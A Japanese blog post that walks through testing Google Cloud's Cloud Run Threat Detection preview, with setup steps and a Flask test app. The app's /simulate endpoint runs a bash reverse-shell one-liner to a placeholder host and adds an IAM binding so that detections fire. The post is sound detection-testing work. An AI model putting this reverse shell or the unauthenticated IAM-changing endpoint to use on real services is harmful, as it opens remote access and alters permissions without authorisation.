Cloud Run Threat Detectionを検証してみた

記事タイトルとURLをコピーする

G-gen の三浦です。当記事では、Cloud Run Threat Detection を検証した結果を紹介します。

概要

Cloud Run Threat Detection とは

Cloud Run Threat Detection とは、Cloud Run で実行されているアプリケーションに対する攻撃や不正な操作ログを検出するセキュリティ機能です。実行中の Cloud Run アプリケーションを継続的にモニタリングし、ニアリアルタイムで Security Command Center(以下、SCC)に検出結果を報告します。

検査対象リソースは、Cloud Run サービスおよび Cloud Run ジョブ です。

当機能は、SCC のプレミアムティアまたは エンタープライズティアでのみ利用可能です。

なお当機能は、2025年4月時点でプレビューであり、本番環境での利用は推奨されません。

2つの検出機能

Cloud Run Threat Detectionには、ランタイム検出コントロールプレーン検出の2種類の検出方法が含まれており、違いは以下のとおりです。

検出種類 対応している Cloud Run の世代 具体的な検出内容の例
ランタイム検出 第2世代のみ コンテナエスケープ、悪意のあるバイナリやスクリプトの実行、偵察ツールの使用など
コントロール プレーン検出 第1世代・第2世代 クリプトマイニングの兆候や、不審な IAM 設定変更などの操作ログを検出

Artifact Analysis との違い

類似機能として、Artifact Registry に保存されたコンテナイメージの脆弱性をスキャンする Artifact Analysis があります。

両機能の違いは以下のとおりで、検出タイミングや対象、目的が異なり、相互に補完しあいます。

機能名 検出対象 検出タイミング ユースケース
Cloud Run の脅威検出 コンテナ本体 実行時(ランタイム) 本番環境における異常検知・不正アクセスの監視
Artifact Analysis コンテナイメージ イメージの Push 時、または手動スキャン時 リリース前のセキュリティチェック

注意事項

当機能を組織またはプロジェクトで有効にすると、第 1 世代の実行環境を指定した Cloud Run サービスは新たに作成できなくなります。事前にご確認ください。

Cloud Run 脅威検出を有効にすると、第 1 世代の実行環境で実行される Cloud Run サービスまたはサービス リビジョンを作成できません。Cloud Run サービスは第 2 世代の実行環境を使用する必要があります。Cloud Run の脅威検出を有効にする前に、第 2 世代の実行環境でワークロードをテストすることをおすすめします。

各実行環境の特徴については、以下の記事および公式ドキュメントをご参照ください。

検証内容

検証手順は次のとおりです。

項番 内容 説明
1 脅威検出機能の有効化 検証プロジェクトで SCC のプレミアムティアを有効化し、Cloud Run の脅威検出機能を有効化する
2 Cloud Run のデプロイ 脅威検出対象となる Cloud Run サービスをデプロイする
3 疑似攻撃の実行と検出結果の確認 コンテナ内で疑似的な悪意のある操作を行い、ランタイム検出とコントロールプレーン検出による検知を確認する

検証

脅威検出機能の有効化

プロジェクトセレクタで検証用プロジェクトが選択されていることを確認したあと、[セキュリティ] > [リスクの概要] から [プレミアムへ切り替え] を選択します。

リスクの概要を選択

プレミアムへ切り替えを選択

プレミアム ティアが選択されていることを確認し、[次へ] を選択します。

ティアの確認と次へを選択

以下を設定し、[ティアを更新] を選択します。

  • Cloud Run の脅威検出:有効にする

脅威検出の有効化とプレミアムティアへの変更

階層がSecurity Command Center Premiumと表示されることを確認します。

プレミアムティアへの変更確認

Cloud Run のデプロイ

ディレクトリ構成

ディレクトリ構成は以下の通りです。

.
├── Dockerfile
├── main.py
└── requirements.txt

Dockerfile

FROM google/cloud-sdk:slim
 
# 作業ディレクトリ
WORKDIR /app
 
# Python 関連ツールをインストール
RUN apt-get update && \
apt-get install -y python3 python3-venv python3-pip && \
apt-get clean
 
# Python 仮想環境を構築して有効化
RUN python3 -m venv /app/venv
ENV PATH="/app/venv/bin:$PATH"
 
# Flask のインストール
COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt
 
# アプリケーションコード
COPY main.py .
 
# ポート指定(Cloud Run)
ENV PORT=8080
 
# アプリ起動
CMD ["python", "main.py"]

main.py

この Flask アプリは、Cloud Run の脅威検出機能を検証するためのものです。
/simulate にアクセスすると、リバースシェル通信と IAM 設定変更を疑似的に実行します。

from flask import Flask
import os
import subprocess
import logging
 
# Flask アプリの起動
app = Flask(__name__)
logging.basicConfig(level=logging.INFO)
 
# ==========================================
# 必須の環境変数を取得
# デプロイ時に --set-env-vars で設定します
# ==========================================
REVERSE_SHELL_HOST = os.environ.get("REVERSE_SHELL_HOST") # 疑似リバースシェルの接続先ホスト
PROJECT_ID = os.environ.get("PROJECT_ID") # GCP プロジェクト ID
PROJECT_NUMBER = os.environ.get("PROJECT_NUMBER") # GCP プロジェクト番号(数値)
SERVICE_NAME = os.environ.get("SERVICE_NAME") # この Cloud Run サービス名
REGION = os.environ.get("REGION", "asia-northeast1") # リージョン(デフォルト: 東京)
 
# リバースシェル用の接続ポート(固定)
REVERSE_SHELL_PORT = "80"
 
# ==========================================
# 必須環境変数のチェック
# ==========================================
if not all([REVERSE_SHELL_HOST, PROJECT_ID, PROJECT_NUMBER, SERVICE_NAME]):
raise EnvironmentError(
"環境変数 REVERSE_SHELL_HOST, PROJECT_ID, PROJECT_NUMBER, SERVICE_NAME をすべて設定してください。"
)
 
# ==========================================
# GET / → 簡易ステータス確認用
# ==========================================
@app.route("/")
def index():
return "Cloud Run Threat Detection simulation is ready.\n"
 
# ==========================================
# GET /simulate
# 疑似リバースシェル(ランタイム検出)と IAM 操作(コントロールプレーン検出)を一括実行
# ==========================================
@app.route("/simulate")
def simulate():
logging.warning(f"🚨 Simulating reverse shell to {REVERSE_SHELL_HOST}:{REVERSE_SHELL_PORT}")
 
# ✅ ランタイム検出: 疑似リバースシェルを実行(CLOUD_RUN_REVERSE_SHELL)
subprocess.run([
"bash", "-c",
f"bash -i >& /dev/tcp/{REVERSE_SHELL_HOST}/{REVERSE_SHELL_PORT} 0>&1 || true"
])
 
# ✅ コントロール プレーン検出: IAM ポリシー変更(CLOUD_RUN_SERVICES_SET_IAM_POLICY)
# デフォルトの GCE サービスアカウントを Cloud Run の Invoker に追加
default_sa = f"{PROJECT_NUMBER}-compute@developer.gserviceaccount.com"
logging.warning(f"🔐 Binding default GCE SA ({default_sa}) to {SERVICE_NAME}")
 
subprocess.run([
"gcloud", "run", "services", "add-iam-policy-binding", SERVICE_NAME,
"--member", f"serviceAccount:{default_sa}",
"--role", "roles/run.invoker",
"--region", REGION,
"--project", PROJECT_ID
])
 
logging.warning("✅ Threat simulation completed.")
return (
f"Reverse shell simulated to {REVERSE_SHELL_HOST}:{REVERSE_SHELL_PORT}\n"
f"IAM policy updated for {default_sa} on {SERVICE_NAME}\n"
)
 
if __name__ == "__main__":
port = int(os.environ.get("PORT", 8080))
app.run(host="0.0.0.0", port=port)

requirements.txt

flask

以下コマンドでContainer Threat Detection API を有効化します。

# プロジェクト ID
export PROJECT_ID="myproject"
 
# API を有効化
gcloud services enable containerthreatdetection.googleapis.com \
--project=$PROJECT_ID

上記 API が無効な場合、以下ログが出力され、脅威検知が実施されませんので、ご注意ください。

textPayload: "W0410 08:36:54.096441 8 ktdclient.go:334] ktdclient connection closed unexpectedly: failed to receive initial response from ktd service: rpc error: code = PermissionDenied desc = Container Threat Detection API has not been used in project XXXXX before or it is disabled. Enable it by visiting https://console.developers.google.com/apis/api/containerthreatdetection.googleapis.com/overview?project=XXXXX then retry. If you enabled this API recently, wait a few minutes for the action to propagate to our systems and retry."

以下のコマンドで Cloud Run サービスをデプロイします。

# イメージと Cloud Run サービス名
export SERVICE_NAME=cloudrun-test
 
# Cloud Run から TCP/80 に接続するテスト用ホストを指定します(例:dev.yourdomain.com)
# リバースシェルの動作を再現するため、HTTP 通信が可能な検証用 FQDN を使用してください
export REVERSE_SHELL_HOST=dev.yourdomain.com
 
# プロジェクト ID と番号を自動取得
export PROJECT_ID=$(gcloud config get-value project)
export PROJECT_NUMBER=$(gcloud projects describe $PROJECT_ID --format="value(projectNumber)")
 
# Cloud Run サービスのデプロイ
gcloud run deploy $SERVICE_NAME --source . \
--region=asia-northeast1 \
--allow-unauthenticated \
--set-env-vars REVERSE_SHELL_HOST=$REVERSE_SHELL_HOST,PROJECT_ID=$PROJECT_ID,PROJECT_NUMBER=$PROJECT_NUMBER,SERVICE_NAME=$SERVICE_NAME

疑似攻撃の実行と検出結果の確認

Cloud Run サービスへアクセスします。

# Cloud Run サービスの URL を環境変数に設定
export CLOUD_RUN_URL=$(gcloud run services describe $SERVICE_NAME \
--region=asia-northeast1 \
--project=$PROJECT_ID \
--format="value(status.url)")
 
# Cloud Run サービスの /simulate エンドポイントへアクセス
curl -s "${CLOUD_RUN_URL}/simulate"

[セキュリティ] >[検出結果] から [Cloud Run Threat Detection] と [Event Threat Detection] を選択し、脅威を検出していることを確認します。

検出した脅威の確認

脅威の詳細(ランタイム検出)

脅威の詳細(コントロール プレーン検出)

三浦 健斗(記事一覧)

クラウドソリューション部

2023年10月よりG-genにジョイン。元オンプレ中心のネットワークエンジニア。ネットワーク・セキュリティ・唐揚げ・辛いものが好き。